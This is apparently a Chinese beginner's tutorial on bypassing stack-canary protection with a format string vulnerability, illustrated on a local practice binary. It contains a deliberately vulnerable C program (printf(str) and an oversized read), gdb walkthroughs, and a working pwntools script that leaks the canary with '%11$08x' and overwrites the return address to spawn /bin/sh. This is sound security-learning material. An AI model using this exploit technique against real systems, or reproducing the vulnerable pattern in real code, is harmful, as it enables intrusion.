配合格式化字符串漏洞繞過canary保護機制
摘要:2.如果程序存在字符串格式化溢出漏洞,我們就可以輸出canary並利用溢出覆蓋canary從而達到繞過。等會我們就要用printf函數輸出這個位置的canary。
0×01 起
(這只是一次小白的隨筆記錄,有些操作不太成熟,歡迎各位看官指出交流)
我們知道,緩衝區溢出漏洞利用的關鍵處就是溢出時,覆蓋棧上保存的函數返回地址來達到攻擊效果。於是就有人就設計出了很多保護機制:Canary、PIE、NX等。本文討論的就是若程序只開啓了canary保護機制,我們該怎麼應對?該機制是在剛進入函數的時候,在棧底放一個標誌位canary(又名金絲雀):
當緩衝區被溢出時,在返回地址被覆蓋之前, canary會首先被覆蓋。當函數結束時會檢查這個棧上 canary的值是否和存進去的值一致,就可以判斷程序是否發生了溢出等攻擊,緊接着程序將執行___stack_chk_fail函數,繼而終止程序。
(爲了方式發生信息泄露以及其他漏洞的利用 canary使用\x00對值進行截斷,即canary的最低字節爲00)
因此,我們繞過這種保護機制的方法,就是怎樣使前後的canary判斷正確。
一般canary有兩種利用方式
1.爆破canary
(大致瞭解了一下)
2.如果程序存在字符串格式化溢出漏洞,我們就可以輸出canary並利用溢出覆蓋canary從而達到繞過。
這裏我們講解第二種方式。
0×02 承
不過在講解之前,我們先來學習一下格式化字符串漏洞?
相信很多人都學過C語言吧!而C語言最普通的卻必不可少的就是printf()函數了!也許大多數人以前幾乎沒有怎麼關注過這個函數,那麼今天就重新刷新對它的認知。
printf在C語言中一般是這種寫法:
printf(“%d”,a); //輸出數a的十進制格式
其中雙引號裏面是a的輸出格式要求,常見的還有:
%d - 十進制 - 輸出十進制整數 %s - 字符串 - 從內存中讀取字符串 %x - 十六進制 - 輸出十六進制數 %c - 字符 - 輸出字符 %p - 指針 - 指針地址 %n - 到目前爲止所寫的字符數
其中:
此外,我們更沒有見過:
例:
%k$x表示訪問第k個參數,並且把它以十六進制輸出
%k$d表示訪問第k個參數,並且把它以十進制輸出
……
平時的程序是這樣:
但是如果程序員一不小心這樣寫呢?
哈哈,似乎輸出結果沒什麼區別!別急,因爲你不知道的是:
實際上,printf允許參數的個數並不固定,其中上面雙引號爲第一個參數:格式化字符串,後面的參數在實際運行時將與格式化字符串中特定格式的子字符串進行一一對應,將格式化字符串中的特定子串,解析爲相應的參數值。
此處我們只是單獨地打印一個字符串hello_world,如果我們用戶輸入的是一個格式化字符format(如%s、%d、%k$x),那麼printf就會讀取棧上的“數據”,至於這個數據是什麼?(我也不知道)請看後文:
再來:
此時:
main+15處,我們往上翻翻:
而接下來的操作就是一直n操作到將printf參數入棧:
即:
彙編源碼主體是:
0x8049189 <main+39> push 2 0x804918b <main+41> push 1 0x804918d <main+43> lea edx, [eax - 0x1ff3] 0x8049193 <main+49> push edx 0x8049194 <main+50> mov ebx, eax ► 0x8049196 <main+52> call printf@plt <0x8049030>
棧內容是:
00:0000│ esp 0xffffd260 —▸ 0x804a00d ◂— and eax, 0x64252064 /* '%d %d %d %d %s' */ 01:0004│ 0xffffd264 ◂— 0x1 02:0008│ 0xffffd268 ◂— 0x2 03:000c│ 0xffffd26c ◂— 0x3 04:0010│ 0xffffd270 ◂— 0x10 05:0014│ 0xffffd274 —▸ 0x804a008 ◂— je 0x804a06f /* 'test' */ 06:0018│ 0xffffd278 —▸ 0xffffd33c —▸ 0xffffd4e9 ◂— 'SHELL=/bin/bash' 07:001c│ 0xffffd27c —▸ 0x8049176 (main+20) ◂— add eax, 0x2e8a
這個時候我們又對源文件做一點改變:
重複以上步驟:
gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c
輸入r:
上述C語言程序中,我們只給了五個參數:1,2,3,16,test,但是我們給的格式字符串有7個。於是,printf函數按照格式打印了七個數據,但是多出來-11460以及134517110不是我們輸入的,而是保存在棧中的另外兩個數據。通過這個特性,就有了格式化字符串漏洞。
至此,格式化漏洞差不多講明白了吧!
補充:vc6.0++可能不支持這樣格式溢出,如:
但是在linux裏面就可以打印出
7th:70,4th:0040
0×03 轉
現在我們正式進入今天的主題:
待試驗程序:
#include<stdio.h> void exploit() { system("/bin/sh"); } void func() { char str[16]; read(0, str, 64); printf(str); read(0, str, 64); } int main() { func(); return 0; }
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c checksec 5.exe
gdb 5.exe i b b func i b start
然後一直輸入n,直到遇見func函數:
往上翻:
再n:
看見上面重點沒?這就是今天的一個關鍵!(gs是一個段寄存器)
紅框的意思是,從gs寄存器中取出一個4字節(eax)的值存到棧上。
我們可以直接輸入canary:
這個時候我第一眼觀察的就是我們前面所提到的:
canary設計是以“x00”結尾,本意就是爲了保證canary可以截斷字符串。泄露棧中canary的思路是覆蓋canary的低字節,來打印出剩餘的canary部分。
堆棧中的canary:
繼續n,直到read函數調用:
再次查看棧(這個時候棧顯示不完整,輸入stack 20):
此時該canary所在位置離棧頂esp的偏移量爲0x2c:
即(4個字節一組)11組。這個11很重要!等會我們就要用printf函數輸出這個位置的canary。
往上翻:
輸入n:
此時程序運行要求我們輸入
這個時候我們就用上面所學的冷門格式化字符串%11$8x(代表輸出):
這個時候再n:
(由於上次時間問題,沒有做完!今天繼續做筆記。因爲每次編譯運行canary的值是隨意分配的,所以以下canary的值在昨天同樣的操作步驟下,已經變了,不過!不影響!)
當函數結束時會檢查這個棧上的值是否和存進去的值一致。
這個時候我們繼續n,就會遇到第2個read函數,要求我們輸入:
(看了這麼久,估計源程序已經忘了!)
即:
經過上面的分析,我們已經知道第一個read函數的設置是爲了打印出金絲雀的值,那麼第二個read函數呢?
第二個函數就是我們精心構造的payload了!此時的payload就要保證在溢出攻擊getshell的同時,就需要利用我們已經得到的canary值了!那麼怎麼利用已經得到的canary的值來得到payload呢?
這時我們可以使用python腳本進行第一次輸入泄露canary後,在進行第二次輸入的時候,在payload中將canary的位置填充成剛剛泄露出來的值即可。
找出exploit函數的入口地址!同樣作爲payload的一部分來getshell:
腳本python:
from pwn import * p=process("./5.exe") p.sendline("%11$08x") canary=p.recv()[:8] print(canary) canary=canary.decode("hex")[::-1] coffset=4*4 roffset=3*4 raddr=p32(0x8049192) payload=coffset*'a'+canary+roffset*'a'+raddr p.sendline(payload) p.interactive()
嗯!對於這段payload構造理解起來可能是本篇最困難的地方……
先運行一下能否成功吧:
重新運行,我們可以看見canary的值又變了:a03dd300,並且成功getshell!
那麼我就根據payload來倒推怎麼溢出?
回到剛剛我們的第二個read函數輸入的地方: